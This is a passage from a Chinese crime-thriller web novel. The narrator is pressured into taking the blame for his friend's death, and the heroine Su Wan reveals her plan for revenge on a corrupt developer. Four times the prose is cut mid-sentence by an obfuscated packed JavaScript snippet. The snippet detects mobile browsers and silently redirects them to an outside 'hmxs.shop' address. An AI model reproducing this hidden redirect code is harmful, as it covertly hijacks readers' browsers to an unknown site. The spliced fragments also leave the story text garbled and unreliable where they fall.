不知过了多久,也许只是几分钟,也许是漫长的一个世纪。铁门外再次传来脚步声,是马东离开的方向。紧接着,是钥匙插入锁孔的声音。 门被推开一条缝。马东去而复返。 他站在门口,没有完全进来,只是探进半个身子。他的脸色比刚才更加晦暗,眼神快速扫了一眼地上原封不动的食盒,又看了看蜷缩在角落、如同惊弓之鸟的我,脸上没有任何表情,只有那化不开的疲惫。 他朝着守门的那两个大汉挥了挥手,用一种不容置疑的语气低声道:“你们先出去一下,在走廊尽头等着。我跟他再说两句。” 那两个大汉对视一眼,似乎有些迟疑。马东的脸色沉了下来,虽然声音不高,却带着一种体制内特有的威严:“怎么?我的话不管用了?要不要我现在给林涛打个电话确认一下?” 听到林涛的名字,那两个大汉明显收敛了些。他们默默地、带着一丝不情愿地,再次退出了房间,并且这一次,按照马东的要求,走向了走廊的远处。 铁门虚掩着,房间里只剩下我和马东。他快步走到我面前,蹲下身,动作迅疾而隐蔽。他没有看我的眼睛,目光警惕地瞥了一眼门口的方向,然后以极快的速度,将一个小纸团塞进了我因为蜷缩而自然放在膝盖旁边的手心里。 他的手指冰冷,带着轻微的颤抖。 “拿着!”他的声音压得极低,如同耳语,却带着一种近乎破釜沉舟的急迫,“别问!也别让任何人看见!” 我的心猛地提到了嗓子眼!纸团硌在掌心,像一块烧红的炭! 马东迅速站起身,仿佛刚才什么也没发生。他居高临下地看着我,声音恢复了正常的音量,甚至带着一丝刻意的严厉:“沈默!我最后警告你一次!别不识抬举!活着比什么都强!把东西吃了!好好想想!” 说完,他不再停留,转身大步离开了房间,并重重地关上了铁门。门锁撞击的声音,如同最终的盖棺定论。 门外传来他呵斥那两个大汉的声音,以及他们逐渐远去的脚步声。 世界,再次归于死寂。但我手心里的那个小纸团,却像一颗突然开始跳动的心脏,灼烧着我的皮肤,也搅动了我死水般的绝望。 我僵硬地、缓慢地摊开手掌。 那是一个被揉得皱巴巴的、香烟盒内侧撕下来的小纸片。上面只有一行用圆珠笔匆忙写下的字迹,潦草而用力:【明晚十点,城南,废砖窑,一个人来。】 没有落款,没有解释。只有一个地址,一个时间。 马东临走时,那压得极低的声音,再次在我耳边响起,如同幽灵的回响:“这是你唯一的机会。但记住,你不是去伸张正义,你是去‘交易’。” 交易…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016458|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个字,像两把淬了毒的匕首,狠狠刺穿了我所有的侥幸心理。 我明白了。 马东的这次“探望”,这碗冰冷的馄饨,乃至他之前所有的“劝诫”,都不过是这场“交易”的前奏,是压低我心理价码的铺垫。他代表着他身后那股或许与林涛、赵承德并非完全一体、但同样庞大而冰冷的势力,向我递出了一份……卖身契。 他们不需要一个追寻真相、充满危险的“不稳定因素”。他们需要的,是一条懂得摇尾乞怜、能够被控制、能够用来达成某种“平衡”或者完成某种“脏活”的……狗。 用我可能掌握的“副本”和密码,用我作为“顾远好友”这个身份可能残存的一点利用价值,去交换我这条……卑微的,肮脏的,但至少暂时还能喘气的……命。 笼子已经打开。林涛代表的,是直接用暴力和死亡威胁我的笼子。而马东递来的这把钥匙,打开的,是一个更大、更无形、但枷锁更加沉重的笼子。一个需要我主动钻进去,戴上项圈,并学会按照主人意愿吠叫的……黄金牢笼。 我看着地上那碗已经完全冰冷、油脂凝结的馄饨。馄饨皮开始变得有些透明,露出里面暗色的馅料,像一团团凝固的、无法消化的绝望。 我知道,如果我接受了这场“交易”,如果我踏足那个废砖窑,我就再也无法回头。 我将不再是那个虽然烂泥扶不上墙、但至少灵魂还算“自由”的沈默。我将变成一个……有主人的烂人。 一个需要仰人鼻息,需要出卖灵魂,需要将顾远的冤屈、老金的苦难、以及我自己那点可怜的尊严,都当作筹码押上赌桌的……奴仆。 我缓缓地、极其艰难地,伸出手。不是伸向那碗馄饨。而是将那张写着地址的纸条,紧紧地、几乎要嵌进肉里地,攥在了手心。 冰冷的泪水,毫无预兆地涌出眼眶,顺着我肮脏、干裂的脸颊滑落,滴在冰冷的地面上,留下一个深色的、迅速消失的印记。 我知道,我没有选择。要么,死在林涛手里,像顾远一样,变成一具无法开口的冰冷尸体,一个被定性为“自杀”或“意外”的统计数字。要么,爬上马东递来的这条看似生路的……贼船,变成一个自己都唾弃的、活着的行尸走肉。 我看着那碗馄饨,一个也没动。它像一座墓碑,祭奠着我那即将死去的、名为“自由”和“尊严”的灵魂。我知道,当我明天晚上走向那个废砖窑的时候,沈默就已经死了。活下来的,将是一个连我自己都不认识的……东西。 22. 杀人不见血的战场 从那个散发着消毒水与绝望气息的“疗养院”离开的过程,模糊得如同褪色的噩梦。没有告别,没有警告,只是在某个时刻,铁门再次打开,那两名纹身大汉沉默地示意我离开。没有蒙头,没有押送,仿佛我只是一个不小心走错门的访客,如今被客气地“请”了出去。 踏出那栋伪装成废弃医院的建筑,外面是灰蒙蒙的、下着淅沥冷雨的午后。雨水落在脸上,冰冷刺骨,却带着一种近乎奢侈的“自由”感。但我深知,这自由如同这雨丝一样短暂而虚假。马东塞给我的那张纸条,像一块烧红的烙铁,紧紧贴在我大腿内侧的皮肤上,无时无刻不在提醒着我即将到来的、真正的囚笼。 我没有回那个已被摧毁的出租屋,也没有去任何熟悉的地方。像一具被抽空了灵魂的躯壳,我在城市边缘漫无目的地游荡,直到夜色如同墨汁般浸透天空。雨水打湿了我单薄的衣物,寒冷深入骨髓,却远不及内心的冰冷。 晚上九点四十分,我站在了城南远郊,那座早已废弃多年的砖窑前。巨大的、如同怪兽颅骨般的砖窑主体在雨夜中沉默矗立,黑黢黢的窑口像凝视着我的深渊。周围是荒芜的野地和倒塌的工棚,只有风声和雨声在呜咽。这里,是进行肮脏交易的绝佳场所。 然而,我等待了十分钟,二十分钟……除了风雨声,没有任何人出现。没有车辆,没有灯光,没有马东,也没有预料中任何一方势力的爪牙。 一种被戏弄的愤怒和更深的恐慌攫住了我。难道马东骗了我?还是……出了什么变故? 就在我几乎要放弃,准备转身逃离这片令人不安的荒芜时,口袋里的手机突然震动了一下。不是电话,是一条来自未知号码的短信。内容极其简短:【地点变更。清茗轩。现在。】 清茗轩?我知道那个地方,是位于城市另一端、一个高档别墅区附近的私人茶舍,以极致的隐私和昂贵的价格著称。 心,猛地沉了下去。 临时变更地点?这意味着对方极其谨慎,或者说,对我的行踪了如指掌,甚至可能一直在暗中监视,确认我没有报警或者耍其他花样。这更象是一种居高临下的测试,测试我的服从程度。 没有时间犹豫。我拖着湿透、冰冷的身体,跑向停在远处隐蔽处的破捷达。引擎在雨声中发出嘶哑的启动声,载着我,如同奔向另一个未知刑场,驶向那个名为“清茗轩”的地方。 一个小时后,我来到了那片灯火稀疏、戒备森严的别墅区附近。清茗轩就坐落在一个人工湖的旁边,是一栋独立的、仿古中式建筑,飞檐翘角,在黑夜里透着一种拒人千里的静谧与奢华。 我将破捷达停在远处一个树影下,深吸了一口气,整理了一下湿漉漉、皱巴巴的衣物——尽管这毫无意义。然后,迈着沉重的步伐,走向那扇紧闭的、厚重的木门。 门口没有招牌,只有一个不起眼的门铃。我按了下去。 片刻,木门无声地滑开一条缝。一个穿着黑色中式褂子、面容精干、眼神锐利的年轻男子出现在门后,他上下打量了我一番,目光在我狼狈的衣着上停留了一瞬,没有任何表情。 “沈先生?”他确认道,声音平稳。 我点了点头。 “请跟我来。”他侧身让我进去,然后迅速关上门,仿佛将外面那个潮湿冰冷的世界彻底隔绝。 门内是另一个世界。 温暖,干燥,空气中弥漫着一种清雅醇厚的茶香,沁人心脾。光线是柔和的、经过精心设计的暖黄色,投射在光可鉴人的深色实木地板上。四周是博古架,陈列着各式紫砂壶和陶瓷茶具,墙壁上挂着意境深远的水墨画。一切都极尽雅致,静谧得能听到自己心跳的声音。 这里没有“夜泊”那种赤裸的欲望和喧嚣,却有一种更深沉的、用文化和金钱堆砌起来的压迫感。 男子引着我穿过一道曲折的回廊,来到一个独立的茶室门前。他轻轻敲了敲门,里面传来一个清冷的女声:“进。” 男子推开门,对我做了一个“请”的手势,然后便如同影子般退后,消失在回廊的阴影里。 我迈步走进茶室。 茶室不大,陈设更加简约。一张巨大的、由整块原木打造的茶海占据中心,上面摆放着琳琅满目的茶具。茶海后,一个人正背对着我,专注于手中的茶艺。 她穿着一身素雅的月白色旗袍,布料带着细腻的暗纹,剪裁合体,勾勒出纤细却不失风韵的腰身。头发挽成一个简洁的发髻,用一根普通的木簪固定,露出白皙修长的脖颈。她的动作舒缓而专注,提壶,注水,出汤……行云流水,带着一种近乎禅意的宁静。袅袅的水汽升腾,模糊了她的侧脸轮廓。 这一幕,与“夜泊”那个在烟雾缭绕中、眼神勾魂摄魄的苏晚,判若两人。那个如同暗夜玫瑰般妖娆危险的女子,此刻仿佛洗尽了铅华,变成了一位品味高雅、气质如兰的大家闺秀。 然而,我知道,这不过是另一张面具。一张更精致,也更致命的假面。她将冲泡好的第一泡茶汤倒入一个精致的白瓷品茗杯中,然后,缓缓转过身来。是苏晚,她的脸上没有化妆,或者只是极淡的裸妆,更凸显出她五官原本的清丽。但那双眼睛,依旧是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016459|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我熟悉的深潭,只是此刻,潭水表面结了一层薄冰,将所有情绪都冻结在深处,看不出丝毫波澜。 她将那个品茗杯轻轻推到我面前的茶海上。 “沈先生,请坐。”她的声音也变了,不再是“夜泊”那种沙哑慵懒的磁性,而是变得清晰、平静,甚至带着一丝疏离的礼貌,“雨夜寒重,喝杯热茶,驱驱寒气。” 我没有动,只是站在那里,死死地盯着她。愤怒、被背叛的痛楚、还有一丝连我自己都厌恶的、因这巨大反差而产生的恍惚感,在我心中剧烈翻腾。就是这个女人,一边用“好人活不长”警告我,一边将我引入林涛布下的死局;就是这个女人,此刻却像无事发生一般,在这里扮演着优雅从容的茶道大师! “怎么是你?”我的声音因为压抑着情绪而显得异常干涩沙哑,“马东呢?” 苏晚似乎早就预料到我的反应。她自己也端起一杯茶,轻轻呷了一口,动作优雅至极。她的目光透过氤氲的茶汽,平静地落在我脸上。 “马队长有他的位置和职责。”她淡淡地说,语气如同在谈论天气,“有些场合,他不适合出现。” 她放下茶杯,双手交叠放在膝上,姿态端正得像一幅古典画。 “现在,由我全权代表赵董,来和你谈谈。”她顿了顿,补充道,每一个字都清晰而冰冷,“我是赵承德先生的特别助理。也是这次……‘交易’的中间人。” 特别助理……中间人……这两个身份,像两把钥匙,瞬间打开了我心中许多疑惑的锁,却也带来了更深的寒意。 原来,她不仅仅是赵承德的情人,不仅仅是“夜泊”用来笼络人心的工具,她竟然已经进入了远大集团的核心,成为了赵承德的“特别助理”!这意味着,她深度参与甚至可能主导着许多见不得光的勾当!而“中间人”这个身份,更是表明她游走于赵承德、林涛乃至马东所代表的各方势力之间,扮演着一个不可或缺的、穿针引线的角色! 她的地位,远比我想象的更高,也更危险。 我看着眼前这个气质大变、却依旧美得惊心动魄的女人,只觉得一股寒气从脚底直冲天灵盖。顾远铁盒里的警告,此刻如同丧钟般在我脑海里轰鸣——【别信任何人,尤其是她。】而我,竟然一次又一次地,低估了她的危险性,甚至曾可悲地对她生出过一丝怜悯! 这场“魔鬼的交易”,从一开始,就由这个最危险的“魔鬼”亲自主持。我看着她那平静无波的脸,看着那杯散发着诱人香气的、清澈的茶汤,知道这看似平和雅致的茶室,才是真正杀人不见血的战场。 23. 交易 茶香依旧在室内袅袅盘旋,那清雅醇厚的气息,此刻却像某种致幻的毒药,麻痹着神经,混淆着是非。苏晚的话语,清晰、冷静,如同手术刀精准地剖开现实最脓烂的疮疤,不带一丝情绪,只有赤裸裸的、冰冷的计算。 “现在,让我们谈谈条件。”她开口,目光平静地注视着我,仿佛在陈述一项早已拟定好的商业合同条款。 我僵硬地坐在她对面的官帽椅上,湿冷的衣物紧贴皮肤,带来阵阵寒意,但更冷的是她的眼神和即将出口的话语。 “第一,”她竖起一根纤细、保养得宜的手指,指甲修剪得圆润干净,透着健康的粉色,与这肮脏的交易内容形成残酷的对比,“你手里那个U盘的副本,以及密码,必须无条件、完整地交出来。” 我的心猛地一沉。他们果然笃定我留有后手。 “第二,”第二根手指竖起,她的语气没有任何波动,“你需要签署一份经过公证的‘自白书’,并配合完成相关的影像记录。内容会明确说明,你是顾远在远大集团内部进行非法财务操作的同伙,因近期集团审计收紧,你们因分赃不均产生激烈矛盾,在争执中,你,‘失手’将他推下了天台。” 我猛地抬起头,难以置信地瞪着她!血液瞬间冲上头顶,让我的耳膜嗡嗡作响,眼前阵阵发黑! 顶包!他们不仅要我交出保命的筹码,还要我扛下杀害顾远的罪名!用我的“认罪”,来彻底掩盖他们逼死顾远的真相,将一场残酷的谋杀,粉饰成一桩肮脏的内讧和“意外”! 这不仅仅是让我闭嘴!这是要把我变成他们完美犯罪剧本里的最后一个演员,用我的尊严和余生,为他们血腥的盛宴落下最“合理”的帷幕! “第三,”苏晚仿佛没有看到我瞬间煞白的脸色和剧烈起伏的胸膛,竖起了第三根手指,语气甚至带上了一丝仿佛施舍般的“宽厚”,“作为对你‘配合’的回报,也是出于‘人道主义’关怀,远大集团会为你安排一条‘生路’。” 她微微前倾身体,茶水的热气在她平静无波的脸上蒙上一层薄纱,却遮不住那眼底深处的冰冷算计。 “我们会为你准备好全新的、经得起查验的身份,安排你立刻出境,前往一个与国内没有引渡条约的南美国家。在那里,你会得到一笔足够你安稳度过余生的‘安置费’,并且,每年,集团还会向你支付一笔额外的‘保密津贴’,确保你生活无忧。” 她说完,身体重新靠回椅背,双手再次优雅地交叠在膝上,仿佛刚刚提出的不是一桩践踏法律与人性的肮脏交易,而是一份慷慨的、双赢的合作协议。 “你看,”她甚至微微牵动了一下嘴角,形成一个算不上笑容的弧度,“这样,你保住了性命,获得了自由和富足的生活。而顾远的案子,也可以就此了结,对他的家人,对社会,都有一个‘清楚明白’的交代。这是一个……对所有人都好的结果。” 对所有人都好? 哈哈哈哈!一阵无法抑制的、尖锐而癫狂的笑声,猛地从我喉咙里爆发出来!我笑得前仰后合,笑得浑身颤抖,笑得眼泪都从眼眶里飙了出来! 这笑声在这静谧雅致的茶室里显得如此突兀,如此刺耳,仿佛鬼魅的嚎哭。我笑得捂住了肚子,笑得差点从椅子上滑下去。 “顶包……哈哈哈哈……你们让我去顶杀人的罪名?!哈哈哈哈……”我一边笑,一边用手指着苏晚,眼泪模糊了视线,“对所有人都好?啊?!对我好?背着杀人犯的罪名,像一条丧家之犬一样被扔到世界的角落,靠着仇人的施舍苟延残喘?!这就是你他妈的对我的‘好’?!!” 我猛地止住笑声,用手背狠狠擦去笑出来的眼泪,通红的眼睛死死盯住苏晚,声音因为极致的愤怒和荒谬感而变得嘶哑扭曲: “那顾远呢?!啊?!他呢?!他就活该被你们逼死?!活该死了还要被扣上贪污和被我‘失手’杀掉的屎盆子?!这就是你他妈的对他的‘好’?!!” 面对我歇斯底里的质问和几乎要喷出火的目光,苏晚脸上的表情没有丝毫变化。她依旧那样平静地坐着,像一尊没有感情的玉雕。甚至,在我咆哮的时候,她还抬手,为自己重新斟了一杯茶,动作依旧行云流水,没有丝毫滞涩。 等我吼完,胸膛剧烈起伏,粗重地喘息着,她才缓缓抬起眼帘,那双深潭般的眸子,冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016460|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地映照出我此刻狼狈而疯狂的倒影。 “沈默,”她的声音依旧平稳,甚至带着一丝不易察觉的……怜悯?不,那更象是高等生物对低等生物混乱情感的俯视,“你搞错了一点。” 她轻轻放下茶杯,发出清脆的磕碰声。 “这不是‘顶包’。”她一字一顿,清晰地,残忍地,修正着我的认知,“这是‘价值交换’。” 价值交换……这四个字,像四颗冰锥,狠狠扎进我的心脏。 “用你手中那点微不足道的‘证据’,用你暂时还活着的这条命,用你未来那点毫无意义的‘名誉’,来交换一个安稳富足的余生,交换我们不再追究你窥探不该窥探之事的‘过错’。”她的话语像冰冷的逻辑程序,将我,将顾远,将所有的一切,都分解成了可以衡量的砝码。 “在这场交换里,”她的目光锐利如刀,直刺我的灵魂深处,说出了那句将我最后一点人性尊严都彻底碾碎的话—— “你的命,值这个价。”她微微停顿,仿佛在欣赏我脸上因这句话而瞬间凝固的、如同面具般破碎的表情,然后,用更轻、却更残忍的语气,补上了最后一句:“而顾远的命……不值。” 不值。这两个字,轻飘飘的。却像最终宣判的法槌,带着万钧之力,轰然落下! 砸碎了我所有的愤怒,所有的挣扎,所有基于情感和道义的幻想。 世界,在我眼前,彻底失去了色彩,只剩下黑白分明的、残酷的、由“价值”定义的冰冷规则。 我的命,值钱,可以用来交换苟活。顾远的命,不值,所以可以被随意丢弃,甚至可以死后再利用,成为交易的一部分。 我看着苏晚,看着这张美丽却如同戴着一张完美人皮面具的脸,一股前所未有的、深入骨髓的寒意,瞬间冻结了我的血液,我的思维,我的一切。 我终于,彻彻底底地,明白了。在这里,在这个由赵承德、林涛、苏晚他们构筑的世界里。 人性,良知,友谊,正义……所有我曾经认知里宝贵的东西。都他妈是狗屁。只有“价值”,才是唯一的真理。而我,和顾远一样。不过是待价而沽的……商品。 24. 遥远的她 苏晚那句“顾远的命,不值”,像一把淬了千年寒冰的匕首,精准地刺穿了我所有基于情感和道义的盔甲,将我最珍视的友情、我对正义最后的幻想,连同我自身残存的那点价值认知,一齐搅得粉碎。她不是在宣泄情绪,她是在陈述一个她深信不疑的、这个世界的底层法则。 茶室里的空气仿佛凝固成了透明的琥珀,将我死死封存在这令人窒息的荒谬与冰冷之中。我看着苏晚那张无悲无喜、仿佛玉雕般的脸,看着她那双深不见底、此刻只剩下纯粹计算的眼眸,一股混杂着极致的愤怒、被彻底物化的屈辱,以及一种更深沉的、近乎虚无的悲凉,在我胸腔里横冲直撞,最终却找不到任何出口,只能化为一阵更加空洞、更加无力的冷笑。 “价值交换……”我重复着这个词,声音嘶哑得如同破旧风箱,“用我的命,换一个杀人犯的罪名和一条靠你们施舍的狗命?用顾远的死,换你们高枕无忧?苏晚,你们他妈的真会算账。” 我撑着茶海边缘,摇摇晃晃地站起身。湿冷的衣服贴在身上,沉重如铁。我知道,坐在这里的每一秒,都在加速我灵魂的腐烂。 “条件,我听到了。”我直视着她,尽管双腿因为虚弱和愤怒而微微颤抖,但我强迫自己挺直脊梁——这或许是我最后一点可怜又可笑的坚持。“现在,我的回答是——” 我深吸了一口气,那清雅的茶香此刻闻起来像坟场的土腥味。“我拒绝。”三个字,吐出来,轻飘飘的,却用尽了我此刻全部的气力。 “钱,我不要。国外的狗窝,我也不要。”我的目光死死锁住她,试图从那深潭般的眸子里寻找一丝裂痕,“我只要一样东西——” “真相。” “顾远到底是怎么死的?那个‘不能动的账本’里到底藏着什么?‘凤凰计划’到底是什么?赵承德,还有你,到底在掩盖什么?!”我的声音因为激动而逐渐提高,在这静谧的空间里撞击回响,“把我当筹码,可以!把我扔到天涯海角,也可以!但在这之前,我要知道,我他妈到底是在为什么买单!顾远,他到底是为了什么死的!” 我几乎是吼出了最后几句话,胸腔因缺氧而阵阵发痛。 令我意外的是,苏晚没有动怒。甚至,她那一直如同冻结湖面般的眼神,第一次,出现了清晰的波动。 不是愤怒,不是嘲弄,而是一种极其复杂的、仿佛被触动了某根深埋已久、早已锈蚀神经的……震动。那深潭的冰面之下,似乎有某种沉重的东西翻搅了一下,搅起了一片浑浊的、带着血腥气的淤泥。 她沉默了。很长很长时间的沉默。 她不再看我,目光垂落,落在茶海中那套精致的茶具上,仿佛那上面刻着她所有的过往。她伸出一根手指,指尖无意识地、极其缓慢地,沿着一个紫砂壶壶盖的边缘,一圈,又一圈地描摹着。那动作轻柔得近乎诡异,带着一种沉浸在遥远回忆中的恍惚。 茶室里只剩下我们两人压抑的呼吸声,以及窗外隐约传来的、被隔绝的雨声。 时间一分一秒地流逝,每一秒都像一把锉刀,打磨着我紧绷的神经。就在我以为她不会再开口,或者会直接让门外的人进来将我拖走时—— 她说话了。声音很轻,很缓,不再有之前的冷静与疏离,而是带着一种仿佛从时光隧道深处传来的、浸透了苦难和尘埃的沙哑。 “真相……”她重复着这个词,嘴角扯出一个极淡、极苦的弧度,象是品尝了一口熬煮过头的黄连,“真相,往往比谎言更让人恶心,沈默。” 她终于抬起眼,看向我。那双眸子里,此刻翻涌着一些我从未见过的东西——那是深不见底的仇恨,被岁月磨砺得锋利无比的痛苦,以及一种……近乎疯狂的执念。 “你不是想知道‘凤凰计划’吗?”她的声音依旧很轻,却像毒蛇吐信,每一个字都带着冰冷的寒意和血腥味,“好,我告诉你。” “二十年前,这座城市远没有现在这么……光鲜。”她的目光变得有些飘忽,仿佛穿透了时空,看到了遥远的过去,“到处都在搞‘旧城改造’,推倒旧的,盖上新的。口号喊得震天响,说是为了城市发展,为了百姓安居。” 她的手指停止了描摹,轻轻握住了那个紫砂壶,指节因用力而微微泛白。 “赵承德,那时候还不是什么董事长,慈善家。他只是一个胆子大、心够狠、敢打敢拼的包工头。他盯上了一个叫‘凤凰计划’的旧城改造项目。那片区域,住着很多老住户,房子虽然旧,但那是他们的根。” 她的语速逐渐加快,声音里压抑着某种颤抖。 “为了用最低的成本拿下项目,为了赶工期,为了最大化利润……他们用了很多‘手段’。断水,断电,半夜往人家里扔死老鼠,泼粪,找流氓地痞天天堵门骚扰……这些,都是开胃小菜。” 我的心渐渐沉了下去。虽然早有预感,但亲耳听到这些,还是让我感到一阵寒意。 “大多数人家,扛不住,拿了那点微不足道的补偿款,搬走了。”苏晚的嘴唇微微哆嗦了一下,眼神里的恨意几乎要凝成实质,“但总有那么几户,骨头硬,不信邪,觉得天底下总有说理的地方。他们成了‘钉子户’。” 她停顿了一下,呼吸变得有些急促,仿佛接下来的话语需要耗费巨大的力气才能吐出。 “其中有一户……姓苏。” 我瞳孔骤然收缩! “男人是个中学老师,有点文化,认死理,觉得拆迁补偿不合理,程序不合法,坚决不搬。女人在街道小厂上班,身体不好。他们有个女儿,刚上初中。”苏晚的声音越来越低,却越来越清晰,每一个字都像冰锥,凿进听者的耳膜,“那就是我家。” 尽管有所猜测,但听到她亲口承认,我还是感到一阵剧烈的冲击!防空洞里那些模糊的刻痕——“凤凰计划”、“灭口”——瞬间有了具体而悲惨的指向! “他们试了所有‘常规’手段,我家都没搬。”苏晚的眼神变得空洞,仿佛灵魂已经抽离,回到了那个噩梦般的场景,“然后,在一个下着暴雨的深夜,一群戴着口罩、拿着棍棒的人,强行闯进了我家……” 她的声音哽住了,身体几不可察地颤抖起来。她紧紧攥着那个紫砂壶,仿佛那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016461|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她唯一的支撑。 “……我父亲想保护我和母亲,挡在门口……他们……他们当着我母亲和我的面……用钢管……活活……打死了他。” “我母亲扑上去……也被打倒在地,吐血不止……” “我缩在墙角,看着这一切……看着父亲的血混着雨水,从门口一直流进来……流到我的脚边……” 她的叙述停了下来,茶室里死一般寂静。只有她极力压抑的、细微的抽气声,和她眼中那滔天的、几乎要将她自己焚毁的恨意。 过了许久,她才继续,声音已经嘶哑得不成样子:“后来,事情被压下去了。定性为‘拆迁纠纷引发的意外冲突’,几个‘临时工’顶了罪。赔偿?象征性的几万块,连给我母亲治伤都不够。赵承德和他的合伙人,靠着‘凤凰计划’赚到了第一桶金,打通了关系,从此飞黄腾达。” “我母亲带着我,带着一身伤病和屈辱,远嫁他乡。那个男人……是个酒鬼,一喝醉就打我们,骂我们是‘丧门星’,是‘带着晦气的破烂货’……”她的声音里充满了刻骨的冰冷,“我在那种地狱里,又活了十年。看着我母亲在病痛和虐待中一点点枯萎,最后含恨而死。” 她终于抬起眼,再次看向我。那双曾经妩媚、后来冰冷的眼睛,此刻燃烧着一种令我灵魂战栗的火焰——那是被仇恨淬炼了二十年,早已与她的生命融为一体的、毁灭一切的业火。 “我从地狱里爬回来,找到赵承德,不是为了钱,也不是为了什么狗屁的荣华富贵。” 她一字一顿,声音如同从九幽之下传来:“我回来,就是为了复仇。” “我要亲眼看着,他如何爬上巅峰,再如何……一点一点,失去所有,跌进比他当年制造的地狱,更深、更痛苦一万倍的地狱!” “我要用他和他身边所有人的血,来祭奠我父亲流淌在地上的血,祭奠我母亲含恨而终的魂!” 她的眼神死死锁住我,那里面没有泪水,只有一片被仇恨烧灼过的、寸草不生的荒芜。 “现在,沈默,”她的声音恢复了之前的平静,但那平静之下,是万丈冰川,“你还觉得,顾远的死,他想要的‘真相’,比我二十年饮血吞恨的复仇……更重要吗?” 我僵在原地,如遭雷击。看着她眼中那熊熊燃烧的、足以焚毁一切的复仇烈焰,听着那血淋淋的、跨越了二十年的悲惨往事,我所有关于“真相”、“正义”的执着和呐喊,忽然间变得如此……苍白,如此无力。 当一个人的灵魂早已被仇恨重塑,当她的生命意义只剩下毁灭,你如何去用普通的道德和情感去衡量,去评判? 顾远的冤屈是真的。苏晚一家的血债,也是真的。而我们都如同扑火的飞蛾,被困在这张由赵承德和他代表的罪恶所编织的、巨大而无形的罗网之中。 只不过,顾远选择了坚守良知而陨落。 苏晚选择了化身复仇的厉鬼。 而我……这个可悲的、无能的烂人,又该何去何从? 茶香早已冷透。只有仇恨,如同这室内的空气,无处不在,冰冷刺骨。 25. 合作 我震惊得无以复加! 看着眼前这个气质清雅如兰、却用最平静的语气讲述着最血腥过往的女人,看着她眼中那毫不掩饰的、淬了毒的仇恨,我终于明白了! 她不是赵承德的附庸,不是林涛的同伙! 她是一颗埋藏在赵承德身边最深、最危险的……复仇的种子!一个用自己青春、美貌甚至灵魂作为燃料,只为点燃一场足以焚毁仇敌一切的……人形炸弹! 她拿走U盘,不是为了帮赵承德掩盖,而是为了取得他更深的信任,为了接触到更核心的罪证!她周旋于林涛和马东之间,不是为了利益,而是在这复杂的权力网中,寻找最致命的裂隙! “所以,”苏晚身体微微前倾,那冰冷的、带着复仇气息的压迫感扑面而来,“你现在明白了吗?沈默。” 她的目光锐利如刀,剖开我所有的伪装和软弱。 “我们是一样的人。”她说,声音里带着一种诡异的共鸣,“都被这个城市,被那些高高在上的人,欠下了血债。顾远,老金,我父亲……我们都是被这座吃人机器碾碎的、‘不值钱’的零件。” 她的话,像一把钥匙,猛地打开了我心中某个一直紧锁的、充满了黑暗情绪的闸门。是的,仇恨!那被无力感和恐惧压抑着的、对赵承德、林涛,对这个操蛋世界的刻骨仇恨! “但现在,”苏晚看着我眼中骤然燃起的、与她同源的火焰,声音冷静得近乎残酷,“只有我,有资格,也有能力,扳倒他。” 她毫不留情地戳破我的虚弱。 “而你,沈默,你太弱了。” 她伸出手。不是刚才那种优雅的示意,而是一只纤细、白皙,却仿佛蕴含着无穷力量与危险的手,摊开在我面前。掌心向上,纹路清晰,像一张通往未知地狱的路线图。 “靠你一个人,你连他的衣角都碰不到,就会像顾远一样消失,或者像条野狗一样被赶出这个国家。”她的声音带着一种蛊惑般的低沉,“但跟我合作,不一样。” 她的眼睛死死锁住我,仿佛要将她的意志,连同那淬毒的仇恨,一起注入我的灵魂。 “你当我的眼睛,我的手,替我做一些我不方便直接去做的事。”她缓缓说道,每一个字都充满了诱惑与危险,“而我,让你亲眼看着,赵承德,这座城市的‘神明’,是怎么被我,一步步……拖下神坛,踩进地狱的泥潭里的。” “合作吧,沈默。用我们的方式,讨回血债。” 我看着她的手。看着那双燃烧着复仇冷焰的眼睛。看着这个美丽、危险、充满了谎言与真实、仇恨与算计的……同盟者。 